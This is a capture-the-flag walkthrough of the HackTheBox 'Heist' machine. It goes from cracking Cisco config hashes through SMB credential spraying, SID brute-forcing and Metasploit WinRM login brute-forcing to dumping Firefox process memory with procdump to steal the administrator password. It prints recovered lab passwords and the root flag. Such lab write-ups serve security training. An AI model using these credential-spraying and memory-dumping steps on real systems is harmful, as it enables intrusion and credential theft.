December 23, 2024

Heist was an easy box that involved some password cracking and dumping Firefox’s processes.At first, we found a Cisco configuration file on the website that contained usernames and password hashes. After recovering passwords, we found one that worked to get RPC access, through which we found more usernames.
We then got a Winrm session from one of these usernames and passwords. We observed that Firefox was running and dumped its process memory to uncover the password for the website, which also happened to be the administrator password for the system.

RECON

NMAP

Starting with nmap it shows few ports open.

  • Port 80: Microsoft IIS httpd 10.0
  • Port 135: Microsoft Windows RPC
  • Port 445: SMB
  • Port 5985: WinRM
$sudo nmap -sC -sV -p- --min-rate 10000 -oN Heist-all-tcp.nmap 10.10.10.149 
[sudo] password for niraz: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-09 07:32 +0545 
Nmap scan report for 10.10.10.149 
Host is up (0.079s latency). 
Not shown: 65530 filtered tcp ports (no-response) 
PORT      STATE SERVICE       VERSION 
80/tcp    open  http          Microsoft IIS httpd 10.0 
| http-methods: 
|_  Potentially risky methods: TRACE 
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set 
| http-title: Support Login Page 
|_Requested resource was login.php 
|_http-server-header: Microsoft-IIS/10.0 
135/tcp   open  msrpc         Microsoft Windows RPC 
445/tcp   open  microsoft-ds? 
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-title: Not Found 
|_http-server-header: Microsoft-HTTPAPI/2.0 
49669/tcp open  msrpc         Microsoft Windows RPC 
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 
Host script results: 
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required 
| smb2-time: 
|   date: 2023-01-09T01:49:00 
|_  start_date: N/A 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 109.73 seconds

WEB – ENUMERATION

It presents a login form.

tried some basic email and password, it did not work.

LOGIN AS GUEST

After login as guest, we can see it’s some kind of support portal and hazard has uploaded cisco router configuration file as an attachment.We can view the configuration file.

version 12.2 
no service pad 
service password-encryption 
! 
isdn switch-type basic-5ess 
! 
hostname ios-1 
! 
security passwords min-length 12 
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 
! 
username rout3r password 7 0242114B0E143F015F5D1E161713 
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 
! 
! 
ip ssh authentication-retries 5 
ip ssh version 2 
! 
! 
router bgp 100 
 synchronization 
 bgp log-neighbor-changes 
 bgp dampening 
 network 192.168.0.0Â mask 300.255.255.0 
 timers bgp 3 9 
 redistribute connected 
! 
ip classless 
ip route 0.0.0.0 0.0.0.0 192.168.0.1 
! 
! 
access-list 101 permit ip any any 
dialer-list 1 protocol ip list 101 
! 
no ip http server 
no ip http secure-server 
! 
line vty 0 4 
 session-timeout 600 
 authorization exec SSH 
 transport input ssh

From the above configuration file we can see there are three password hashes.

Hash Hash Type
$1$pdQG$o8nrSzsGXeaduXrjlvKc91 Cisco Type 5 salted md5
0242114B0E143F015F5D1E161713 Cisco Type 7
02375012182C1A1D751618034F36415408 Cisco Type 7

TYPE 7 DECRYPT

Type 7 password can be decrypted using any online tools. Using this tool to decrypt type 7 password.

0242114B0E143F015F5D1E161713: $uperP@ssword
02375012182C1A1D751618034F36415408:  Q4)sJuY8qz*A3?d

TYPE 5 DECRYPT

Using hashcat to decrypt this hash.

$hashcat -m 500 hash /usr/share/wordlists/rockyou.txt

$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent  
Session..........: hashcat  
Status...........: Cracked  
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)  
Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91  
Time.Started.....: Mon Jan  9 08:11:22 2023 (8 mins, 46 secs)  
Time.Estimated...: Mon Jan  9 08:20:08 2023 (0 secs)  
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)  
Guess.Queue......: 1/1 (100.00%)  
Speed.#1.........:     6644 H/s (20.35ms) @ Accel:256 Loops:250 Thr:1 Vec:16  
Recovered........: 1/1 (100.00%) Digests  
Progress.........: 3543552/14344385 (24.70%)  
Rejected.........: 0/3543552 (0.00%)  
Restore.Point....: 3543040/14344385 (24.70%)  
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000  
Candidates.#1....: steauara -> steakdi

now we have few usernames and passwords

$cat usernames.txt 
admin 
rout3r 
Hazard 

$cat passwords.txt 
Q4)sJuY8qz*A3?d 
@sswordf 
stealth1agent

SMB – TCP 445

without creds

$smbmap -H 10.10.10.149 
[!] Authentication error on 10.10.10.149

smbmap gives authentication error, it means to need valid creds to view the shares.

CRACKMAPEXEC

Using crackmapexec we can give a list of username and password. We’ll use creds we have gather till now.

$cme smb -u username.txt -p password.txt --shares 10.10.10.149 
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False) 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskadmin:Q4)sJuY8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskadmin:@sswordf STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskadmin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskrout3r:Q4)sJuY8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskrout3r:@sswordf STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskrout3r:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDeskHazard:Q4)sJuY8qz*A3?d STATUS_LOGON_FAILURE 
SMB       10.10.10.149    445    SUPPORTDESK      [-] SupportDeskHazard:@sswordf STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDeskHazard:stealth1agent 
SMB         10.10.10.149    445    SUPPORTDESK      [+] Enumerated shares 
SMB         10.10.10.149    445    SUPPORTDESK      Share           Permissions     Remark 
SMB         10.10.10.149    445    SUPPORTDESK      -----           -----------     ------ 
SMB         10.10.10.149    445    SUPPORTDESK      ADMIN$                          Remote Admin 
SMB         10.10.10.149    445    SUPPORTDESK      C$                              Default share 
SMB         10.10.10.149    445    SUPPORTDESK      IPC$            READ            Remote IPC

and we found the valid creds Hazard:stealth1agent . we can now re run smbmap with this creds.

$smbmap -u hazard -p stealth1agent -H 10.10.10.149 
[+] IP: 10.10.10.149:445        Name: 10.10.10.149 
        Disk                         Permissions     Comment 
        ----                         -----------     ------- 
        ADMIN$                       NO ACCESS       Remote Admin 
        C$                           NO ACCESS       Default share 
        IPC$                         READ ONLY       Remote IPC

RPCCLIENT

$rpcclient -U 'hazard%stealth1agent' 10.10.10.149

we can get SID of user we know using lookupnames.

$rpcclient -U 'hazard%stealth1agent' 10.10.10.149 
$rpcclient$> lookupnames hazard hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)

we can also get user accounts using the SID.

$rpcclient

gt;lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008 S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESKHazard (1)

Using rpcclient with -c command to directly interact with the command line so that we can bruteforce SIDS.

$rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c 'lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008' 
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESKHazard (1)

$for i in {1000..1050};do rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown;done 
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESKHazard (1) 
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESKsupport (1) 
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESKChase (1) 
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESKJason (1)

impacket-lookupsid can be used to bruteforce SIDs

$impacket-lookupsid hazard:stealth1agent@10.10.10.149 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation 
[*] Brute forcing SIDs at 10.10.10.149 
[*] StringBinding ncacn_np:10.10.10.149[pipelsarpc] 
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 
500: SUPPORTDESKAdministrator (SidTypeUser) 
501: SUPPORTDESKGuest (SidTypeUser) 
503: SUPPORTDESKDefaultAccount (SidTypeUser) 
504: SUPPORTDESKWDAGUtilityAccount (SidTypeUser) 
513: SUPPORTDESKNone (SidTypeGroup) 
1008: SUPPORTDESKHazard (SidTypeUser) 
1009: SUPPORTDESKsupport (SidTypeUser) 
1012: SUPPORTDESKChase (SidTypeUser) 
1013: SUPPORTDESKJason (SidTypeUser)

we have now got few more users. updating our usernames file.

$cat usernames.txt 
admin 
rout3r 
Hazard 
Administrator 
Guest 
support 
chase 
Jason

SHELL AS CHASE

METASPLOIT

Using metasploit to find valid creds for winrm.

[msf](Jobs:0 Agents:0) auxiliary(scanner/winrm/winrm_login) >> show options 
Module options (auxiliary/scanner/winrm/winrm_login): 
   Name              Current Setting  Required  Description 
   ----              ---------------  --------  ----------- 
   BLANK_PASSWORDS   false            no        Try blank passwords for all users 
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5 
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database 
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list 
   DB_ALL_USERS      false            no        Add all users in the current database to the list 
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm) 
   DOMAIN            WORKSTATION      yes       The domain to use for Windows authentification 
   PASSWORD                           no        A specific password to authenticate with 
   PASS_FILE         passwords.txt    no        File containing passwords, one per line 
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...] 
   RHOSTS            10.10.10.149     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit 
   RPORT             5985             yes       The target port (TCP) 
   SSL               false            no        Negotiate SSL/TLS for outgoing connections 
   STOP_ON_SUCCESS   true             yes       Stop guessing when a credential works for a host 
   THREADS           1                yes       The number of concurrent threads (max one per host) 
   URI               /wsman           yes       The URI of the WinRM service 
   USERNAME                           no        A specific username to authenticate as 
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line 
   USER_AS_PASS      false            no        Try the username as the password for all users 
   USER_FILE         usernames.txt    no        File containing usernames, one per line 
   VERBOSE           true             yes       Whether to print output for all attempts 
   VHOST                              no        HTTP server virtual host 
[msf](Jobs:0 Agents:0) auxiliary(scanner/winrm/winrm_login) >> run 
[-] 10.10.10.149: - LOGIN FAILED: WORKSTATIONadmin:Q4)sJuY8qz*A3?d (Incorrect: ) 
[-] 10.10.10.149: - LOGIN FAILED: WORKSTATIONadmin:@sswordf (Incorrect: ) 
[-] 10.10.10.149: - LOGIN FAILED: WORKSTATIONadmin:stealth1agent (Incorrect: ) 
[+] 10.10.10.149:5985 - Login Successful: WORKSTATIONchase:Q4)sJuY8qz*A3?d

we can see that chase can winrm. Using evil-winrm to get the shell.

$evil-winrm -i 10.10.10.149 -u chase -p "Q4)sJuY8qz*A3?d" 
Evil-WinRM shell v3.4 
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine 
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:UsersChaseDocuments>

SHELL AS ADMINISTRATOR

There’s a todo list in the chase desktop that says to keep checking the issues list, which can be done using a browser, browsing the support portal we found earlier.

*Evil-WinRM* PS C:UsersChaseDesktop> type todo.txt 
Stuff to-do: 
1. Keep checking the issues list. 
2. Fix the router config. 
Done: 
1. Restricted access for guest user.

running ps command we can see a bunch of firefox process.

*Evil-WinRM* PS C:UsersChaseDesktop> ps 
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName 
-------  ------    -----      -----     ------     --  -- ----------- 
    347      19    10232     287536       0.17    740   1 firefox 
    401      34    39024      96248       2.30   2944   1 firefox
   1065      71   149328     227156       8.34   3916   1 firefox
    378      28    23692      60496       1.33   5876   1 firefox
    356      25    16528      39016       0.17   6408   1 firefox

GET CREDS FROM FIREFOX

Using procdump from sysinternals tool to run against one of the process of firefox.

*Evil-WinRM* PS C:UsersChaseDocuments> upload procdump64.exe
Info: Uploading procdump64.exe to C:UsersChaseDocumentsprocdump64.exe

Data: 566472 bytes of 566472 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:UsersChaseDocuments> .procdump64 -ma 740 -accepteula

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:49:10] Dump 1 initiated: C:UsersChaseDocumentsfirefox.exe_230129_204910.dmp
[20:49:10] Dump 1 writing: Estimated dump file size is 288 MB.
[20:49:10] Dump 1 complete: 288 MB written in 0.4 seconds
[20:49:10] Dump count reached.

Downloading the dump.

*Evil-WinRM* PS C:UsersChaseDocuments> download firefox.exe_230129_204910.dmp

Strings can be used to grep password from the dump file, and we got login usernamd and password from it.

$strings firefox.exe_230129_134546.dmp | grep password=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
            label-password="&fillPasswordMenu.label;"
            accesskey-password="&fillPasswordMenu.accesskey;"
            label-password="&fillPasswordMenu.label;"
            accesskey-password="&fillPasswordMenu.accesskey;"

and we got shell as administrator

$evil-winrm -i 10.10.10.149 -u administrator  -p '4dD!5}x/re8]FBuZ'

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:UsersAdministratorDocuments>

*Evil-WinRM* PS C:UsersAdministratorDesktop> whoami
supportdeskadministrator
*Evil-WinRM* PS C:UsersAdministratorDesktop> type root.txt
caf30de94a7ba38168831b756dee6dea

Leave a Reply

Your email address will not be published. Required fields are marked *